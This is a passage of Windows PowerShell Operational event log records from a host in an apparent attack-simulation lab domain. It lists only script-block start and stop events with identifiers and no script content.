09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028243
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028242
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028241
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028240
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028224
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028223
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028218
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028217
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
